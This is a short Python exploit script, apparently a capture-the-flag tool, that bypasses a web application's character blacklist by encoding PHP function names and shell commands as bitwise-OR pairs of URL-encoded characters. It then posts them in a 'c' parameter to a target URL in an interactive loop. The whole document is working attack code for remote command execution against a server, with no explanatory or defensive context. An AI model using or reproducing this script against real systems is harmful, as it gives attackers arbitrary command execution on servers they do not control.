#-- coding:UTF-8 -- import requests import urllib import re from sys import * if(len(argv)!=2): print("="*50) print("USRE:python3 exp1.py <url>") exit(0) url=argv[1]
def write_rce(denyword): result='' preg = denyword for i in range(256): for j in range(256): if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)): k= i | j if k>=32 and k<=126: a="%"+hex(i)[2:].zfill(2) b="%"+hex(j)[2:].zfill(2) result+=(chr(k)+' '+a+' '+b+'\n') f=open("result.txt","w") f.write(result)
def action(string): s1="" s2="" for i in string: f=open("result.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output)
if __name__=="__main__": denyword=input("deny: ") write_rce(denyword) while True: s1 = input("\n[+] your function:") if s1 == "exit": break s2 = input("[+] your command:") param=action(s1) + action(s2) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)